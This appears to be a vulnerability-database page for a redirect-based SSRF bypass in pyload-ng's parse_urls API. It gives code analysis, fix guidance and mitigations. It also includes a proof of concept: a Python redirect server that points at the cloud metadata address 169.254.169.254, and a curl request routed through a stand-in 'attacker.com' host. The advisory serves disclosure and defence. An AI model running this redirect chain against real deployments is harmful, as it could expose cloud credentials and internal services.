Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.
Details
The parse_urls API method validates the initial URL hostname:
# src/pyload/core/api/__init__.py:600-604
if url:
urlp = urlparse(url)
hostname = urlp.hostname
if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
page = get_url(url)get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:
# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
rep = h.load(*args, **kwargs)
return repHTTPRequest.__init__ sets allow_private_ip = True by default:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = TrueThe init_handle() method enables redirect following:
# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:
# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
if not self.allow_private_ip and not is_global_address(conn_primary_ip):
return pycurl.PREREQFUNC_ABORT
return pycurl.PREREQFUNC_OKThe fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.
PoC
# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
-H 'Cookie: session=<valid_session>' \
-d 'url=http://attacker.com:8888/redirect'
# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attackerImpact
An authenticated attacker with ADD permission can perform SSRF against:
- Cloud metadata endpoints (AWS IMDSv1 at
169.254.169.254, GCP, Azure) - potentially leaking IAM credentials, instance metadata, and secrets - Internal services on private networks (e.g.,
10.x.x.x,172.16.x.x,192.168.x.x) - Localhost services (
127.0.0.1) running on the pyload server
Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.
Recommended Fix
Set allow_private_ip = False in RequestFactory.get_url():
# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
h.allow_private_ip = False
# Prevent SSRF via redirects
rep = h.load(*args, **kwargs)
return repAlternatively, change the default in HTTPRequest.__init__ to False:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = FalseThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.
AnalysisAI
Redirect-based SSRF bypass in pyload-ng's parse_urls API allows authenticated attackers with ADD permission to probe internal network services and cloud metadata endpoints by chaining an open redirect through an attacker-controlled host. The prior SSRF fix (commit 33c55da, GHSA-7gvf-3w72-p2pg) correctly hardened HTTPChunk but left HTTPRequest used by RequestFactory.get_url() with allow_private_ip=True, rendering the is_global_host() check on the initial URL ineffective against 302 redirects to private IP space. A public proof-of-concept exploit exists demonstrating exfiltration of AWS IMDSv1 metadata; no public exploit identified at time of analysis for active in-the-wild exploitation, and CVE-2026-46561 is not listed in the CISA KEV catalog.
Technical ContextAI
pyload-ng (pkg:pip/pyload-ng) is a Python-based download manager that exposes an HTTP API. The root cause class is CWE-918 (Server-Side Request Forgery). The parse_urls API endpoint at src/pyload/core/api/__init__.py validates only the initial URL hostname via is_global_host() before passing it to get_url(), which instantiates an HTTPRequest object backed by pycurl. HTTPRequest.__init__ sets allow_private_ip=True by default (http_request.py:75), and init_handle() enables pycurl redirect following with FOLLOWLOCATION=1 and up to MAXREDIRS=10 (http_request.py:117-118). The PREREQ callback _pre_request_callback() is designed to abort connections to non-global addresses, but its guard condition 'if not self.allow_private_ip' is never satisfied when the default is True, making it a no-op. The fix applied in 33c55da set allow_private_ip=False on HTTPChunk (the download code path) but did not apply the same constraint to HTTPRequest used by get_url(), creating an asymmetric security posture between the two code paths. REDIR_PROTOCOLS limits redirect schemes to HTTP/HTTPS, and response data is filtered through RE_URLMATCH regex, partially constraining what can be exfiltrated.
RemediationAI
Upgrade pyload-ng to version 0.5.0b3.dev100 or later, which is the vendor-released patch per the GitHub advisory at https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5. The targeted fix is to add h.allow_private_ip = False immediately after instantiating HTTPRequest in RequestFactory.get_url() (src/pyload/core/network/request_factory.py). A more defensive alternative is to change the default in HTTPRequest.__init__ to allow_private_ip=False (http_request.py:75), though this requires auditing all other callers that may legitimately need to access private IPs. If upgrading immediately is not possible, restrict access to the parse_urls API endpoint via firewall or reverse-proxy ACL to trusted internal IP ranges only, preventing external or low-trust authenticated users from reaching the endpoint. If the deployment runs on AWS, enable IMDSv2 (require session-oriented requests) to prevent credential theft via 169.254.169.254 even if SSRF is exploited - this is a strong compensating control with no functional trade-offs for modern workloads. Disabling the parse_urls API feature entirely eliminates the attack surface at the cost of that functionality.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32956
GHSA-8rp3-xc6w-5qp5